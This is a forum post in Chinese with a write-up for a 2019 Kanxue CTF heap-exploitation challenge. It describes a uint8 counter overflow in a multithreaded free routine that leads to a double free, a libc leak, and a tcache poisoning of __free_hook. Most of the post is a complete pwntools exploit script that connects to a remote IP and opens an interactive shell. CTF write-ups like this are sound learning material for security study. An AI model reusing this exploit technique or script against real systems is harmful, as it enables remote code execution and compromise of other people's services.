首页
社区
课程
招聘
[原创]【2019看雪CTF】Q2赛季 第九题 绝地逃生 WP
2019-7-2 00:14 5492

[原创]【2019看雪CTF】Q2赛季 第九题 绝地逃生 WP

2019-7-2 00:14
5492

【2019看雪CTF】Q2赛季 第九题 绝地逃生 WP

又是libc2.27的pwn题。
漏洞点在fast_free功能中,此功能采用多线程的批量free。线程代码中有如下语句:

.text:0000000000000C6F                 mov     eax, 1
.text:0000000000000C74                 lock xadd [rbx], al
.text:0000000000000C78                 movzx   eax, al

存在uint8整数溢出,可得到指向free空间的野指针,并能double free,leak libc通过unsortedbin实现,最终改写tcache的fd,malloc改写__free_hook指针get shell。
此题比较麻烦的是没有edit功能,所有只能通过malloc功能去写。具体exp如下:

from pwn import *

#context.log_level="debug"
def new(index,size,note):
   p.sendlineafter(">>> ","1")
   p.sendlineafter("Index: ",str(index))
   p.sendlineafter("Size: ",str(size))
   p.sendafter("Contents: ",note)
def delete(r,num):
   p.sendlineafter(">>> ","2")
   p.sendlineafter("Index range: ",r)
   p.sendlineafter("Number of workers: ",str(num))
def show(index):
   p.sendlineafter(">>> ","3")
   p.sendlineafter("Index: ",str(index))

#p=process("./fastheap")
p=remote("152.136.18.34",10000)
for i in range(0,255):
    print i
    new(i,0x68,"poyoten\n")
delete("200-255",8)
show(0)
heap_addr=u64(p.recv(6)+"\x00\x00")
print hex(heap_addr)
delete("2-3","1")
delete("0-1","1")
new(200,0xf0,p64(heap_addr-0x5555557572c0+0x55555575eae0+0x10)+"\n")
new(201,0x20,"aaaa\n")
new(202,0x68,p64(heap_addr-0x5555557572c0+0x55555575eae0+0x10)+"\n")
new(203,0x68,"aaaa\n")
new(204,0x68,"aaaa\n")
new(205,0x68,"bbbb\n")
delete("200-201",1)
show(205)
libc_addr=u64(p.recv(6)+"\x00\x00")+0x7ffff77c5000-0x7ffff7bb0ca0
print hex(libc_addr)
new(211,0xf0,p64(libc_addr+0x3ed8e8)+"\n")
new(212,0x68,"/bin/sh\n")
new(213,0x68,p64(libc_addr+0x4f440)+"\n")
delete("212-213",1)
#delete("2-3",3)

p.interactive()

[培训]科锐软件逆向50期预科班报名即将截止,速来!!! 50期正式班报名火爆招生中!!!

最后于 2019-7-2 00:46 被poyoten编辑 ,原因:
收藏
免费 1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回